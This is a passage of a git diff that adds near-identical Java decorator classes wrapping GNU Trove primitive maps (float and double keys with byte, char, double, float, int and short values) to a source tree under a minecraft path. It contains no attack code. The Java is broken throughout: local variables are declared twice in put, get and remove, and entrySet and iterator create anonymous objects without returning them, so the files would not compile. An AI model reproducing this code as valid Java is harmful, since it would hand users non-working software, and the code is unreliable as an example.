+      k = _map.getNoEntryKey();
+    }
+    short v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Double, Short>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TDoubleShortMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Double, Short>> iterator()
+      {
+        new Iterator() {
+          private final TDoubleShortIterator it = _map.iterator();
+          
+          public Map.Entry<Double, Short> next() {
+            it.advance();
+            final Double key = wrapKey(it.key());
+            final Short v = wrapValue(it.value());
+            new Map.Entry() {
+              private Short val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Double getKey()
+              {
+                return key;
+              }
+              
+              public Short getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Short setValue(Short value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Double, Short> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Double key = (Double)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Double, Short>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TDoubleShortMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Short)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Double)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Double, ? extends Short> map)
+  {
+    Iterator<? extends Map.Entry<? extends Double, ? extends Short>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Double, ? extends Short> e = (Map.Entry)it.next();
+      put((Double)e.getKey(), (Short)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Double wrapKey(double k)
+  {
+    return Double.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected double unwrapKey(Object key)
+  {
+    return ((Double)key).doubleValue();
+  }
+  
+
+
+
+
+
+
+  protected Short wrapValue(short k)
+  {
+    return Short.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected short unwrapValue(Object value)
+  {
+    return ((Short)value).shortValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TDoubleShortMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TFloatByteMapDecorator.java b/src/minecraft/gnu/trove/decorator/TFloatByteMapDecorator.java
new file mode 100644
index 0000000..bcb82bc
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TFloatByteMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TFloatByteIterator;
+import gnu.trove.map.TFloatByteMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TFloatByteMapDecorator
+  extends AbstractMap<Float, Byte>
+  implements Map<Float, Byte>, Externalizable, Cloneable
+{
+  protected TFloatByteMap _map;
+  
+  public TFloatByteMapDecorator() {}
+  
+  public TFloatByteMapDecorator(TFloatByteMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TFloatByteMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Byte put(Float key, Byte value)
+  {
+    float k;
+    
+
+
+    float k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    byte v;
+    byte v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    byte retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Byte get(Object key)
+  {
+    float k;
+    
+
+
+    if (key != null) { float k;
+      if ((key instanceof Float)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    byte v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Byte remove(Object key)
+  {
+    float k;
+    
+
+
+    if (key != null) { float k;
+      if ((key instanceof Float)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    byte v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Float, Byte>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TFloatByteMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Float, Byte>> iterator()
+      {
+        new Iterator() {
+          private final TFloatByteIterator it = _map.iterator();
+          
+          public Map.Entry<Float, Byte> next() {
+            it.advance();
+            final Float key = wrapKey(it.key());
+            final Byte v = wrapValue(it.value());
+            new Map.Entry() {
+              private Byte val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Float getKey()
+              {
+                return key;
+              }
+              
+              public Byte getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Byte setValue(Byte value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Float, Byte> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Float key = (Float)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Float, Byte>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TFloatByteMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Byte)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Float)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Float, ? extends Byte> map)
+  {
+    Iterator<? extends Map.Entry<? extends Float, ? extends Byte>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Float, ? extends Byte> e = (Map.Entry)it.next();
+      put((Float)e.getKey(), (Byte)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Float wrapKey(float k)
+  {
+    return Float.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected float unwrapKey(Object key)
+  {
+    return ((Float)key).floatValue();
+  }
+  
+
+
+
+
+
+
+  protected Byte wrapValue(byte k)
+  {
+    return Byte.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected byte unwrapValue(Object value)
+  {
+    return ((Byte)value).byteValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TFloatByteMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TFloatCharMapDecorator.java b/src/minecraft/gnu/trove/decorator/TFloatCharMapDecorator.java
new file mode 100644
index 0000000..9744024
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TFloatCharMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TFloatCharIterator;
+import gnu.trove.map.TFloatCharMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TFloatCharMapDecorator
+  extends AbstractMap<Float, Character>
+  implements Map<Float, Character>, Externalizable, Cloneable
+{
+  protected TFloatCharMap _map;
+  
+  public TFloatCharMapDecorator() {}
+  
+  public TFloatCharMapDecorator(TFloatCharMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TFloatCharMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Character put(Float key, Character value)
+  {
+    float k;
+    
+
+
+    float k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    char v;
+    char v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    char retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Character get(Object key)
+  {
+    float k;
+    
+
+
+    if (key != null) { float k;
+      if ((key instanceof Float)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    char v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Character remove(Object key)
+  {
+    float k;
+    
+
+
+    if (key != null) { float k;
+      if ((key instanceof Float)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    char v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Float, Character>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TFloatCharMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Float, Character>> iterator()
+      {
+        new Iterator() {
+          private final TFloatCharIterator it = _map.iterator();
+          
+          public Map.Entry<Float, Character> next() {
+            it.advance();
+            final Float key = wrapKey(it.key());
+            final Character v = wrapValue(it.value());
+            new Map.Entry() {
+              private Character val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Float getKey()
+              {
+                return key;
+              }
+              
+              public Character getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Character setValue(Character value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Float, Character> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Float key = (Float)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Float, Character>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TFloatCharMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Character)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Float)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Float, ? extends Character> map)
+  {
+    Iterator<? extends Map.Entry<? extends Float, ? extends Character>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Float, ? extends Character> e = (Map.Entry)it.next();
+      put((Float)e.getKey(), (Character)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Float wrapKey(float k)
+  {
+    return Float.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected float unwrapKey(Object key)
+  {
+    return ((Float)key).floatValue();
+  }
+  
+
+
+
+
+
+
+  protected Character wrapValue(char k)
+  {
+    return Character.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected char unwrapValue(Object value)
+  {
+    return ((Character)value).charValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TFloatCharMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TFloatDoubleMapDecorator.java b/src/minecraft/gnu/trove/decorator/TFloatDoubleMapDecorator.java
new file mode 100644
index 0000000..fd0c013
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TFloatDoubleMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TFloatDoubleIterator;
+import gnu.trove.map.TFloatDoubleMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TFloatDoubleMapDecorator
+  extends AbstractMap<Float, Double>
+  implements Map<Float, Double>, Externalizable, Cloneable
+{
+  protected TFloatDoubleMap _map;
+  
+  public TFloatDoubleMapDecorator() {}
+  
+  public TFloatDoubleMapDecorator(TFloatDoubleMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TFloatDoubleMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Double put(Float key, Double value)
+  {
+    float k;
+    
+
+
+    float k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    double v;
+    double v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    double retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Double get(Object key)
+  {
+    float k;
+    
+
+
+    if (key != null) { float k;
+      if ((key instanceof Float)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    double v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Double remove(Object key)
+  {
+    float k;
+    
+
+
+    if (key != null) { float k;
+      if ((key instanceof Float)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    double v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Float, Double>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TFloatDoubleMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Float, Double>> iterator()
+      {
+        new Iterator() {
+          private final TFloatDoubleIterator it = _map.iterator();
+          
+          public Map.Entry<Float, Double> next() {
+            it.advance();
+            final Float key = wrapKey(it.key());
+            final Double v = wrapValue(it.value());
+            new Map.Entry() {
+              private Double val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Float getKey()
+              {
+                return key;
+              }
+              
+              public Double getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Double setValue(Double value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Float, Double> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Float key = (Float)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Float, Double>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TFloatDoubleMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Double)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Float)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Float, ? extends Double> map)
+  {
+    Iterator<? extends Map.Entry<? extends Float, ? extends Double>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Float, ? extends Double> e = (Map.Entry)it.next();
+      put((Float)e.getKey(), (Double)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Float wrapKey(float k)
+  {
+    return Float.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected float unwrapKey(Object key)
+  {
+    return ((Float)key).floatValue();
+  }
+  
+
+
+
+
+
+
+  protected Double wrapValue(double k)
+  {
+    return Double.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected double unwrapValue(Object value)
+  {
+    return ((Double)value).doubleValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TFloatDoubleMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TFloatFloatMapDecorator.java b/src/minecraft/gnu/trove/decorator/TFloatFloatMapDecorator.java
new file mode 100644
index 0000000..0dd15ee
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TFloatFloatMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TFloatFloatIterator;
+import gnu.trove.map.TFloatFloatMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TFloatFloatMapDecorator
+  extends AbstractMap<Float, Float>
+  implements Map<Float, Float>, Externalizable, Cloneable
+{
+  protected TFloatFloatMap _map;
+  
+  public TFloatFloatMapDecorator() {}
+  
+  public TFloatFloatMapDecorator(TFloatFloatMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TFloatFloatMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Float put(Float key, Float value)
+  {
+    float k;
+    
+
+
+    float k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    float v;
+    float v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    float retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Float get(Object key)
+  {
+    float k;
+    
+
+
+    if (key != null) { float k;
+      if ((key instanceof Float)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    float v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Float remove(Object key)
+  {
+    float k;
+    
+
+
+    if (key != null) { float k;
+      if ((key instanceof Float)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    float v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Float, Float>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TFloatFloatMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Float, Float>> iterator()
+      {
+        new Iterator() {
+          private final TFloatFloatIterator it = _map.iterator();
+          
+          public Map.Entry<Float, Float> next() {
+            it.advance();
+            final Float key = wrapKey(it.key());
+            final Float v = wrapValue(it.value());
+            new Map.Entry() {
+              private Float val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Float getKey()
+              {
+                return key;
+              }
+              
+              public Float getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Float setValue(Float value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Float, Float> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Float key = (Float)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Float, Float>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TFloatFloatMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Float)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Float)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Float, ? extends Float> map)
+  {
+    Iterator<? extends Map.Entry<? extends Float, ? extends Float>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Float, ? extends Float> e = (Map.Entry)it.next();
+      put((Float)e.getKey(), (Float)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Float wrapKey(float k)
+  {
+    return Float.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected float unwrapKey(Object key)
+  {
+    return ((Float)key).floatValue();
+  }
+  
+
+
+
+
+
+
+  protected Float wrapValue(float k)
+  {
+    return Float.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected float unwrapValue(Object value)
+  {
+    return ((Float)value).floatValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TFloatFloatMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TFloatIntMapDecorator.java b/src/minecraft/gnu/trove/decorator/TFloatIntMapDecorator.java
new file mode 100644
index 0000000..34d4a63
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TFloatIntMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TFloatIntIterator;
+import gnu.trove.map.TFloatIntMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TFloatIntMapDecorator
+  extends AbstractMap<Float, Integer>
+  implements Map<Float, Integer>, Externalizable, Cloneable
+{
+  protected TFloatIntMap _map;
+  
+  public TFloatIntMapDecorator() {}
+  
+  public TFloatIntMapDecorator(TFloatIntMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TFloatIntMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Integer put(Float key, Integer value)
+  {
+    float k;
+    
+
+
+    float k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    int v;
+    int v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    int retval = _map.put(k, v);
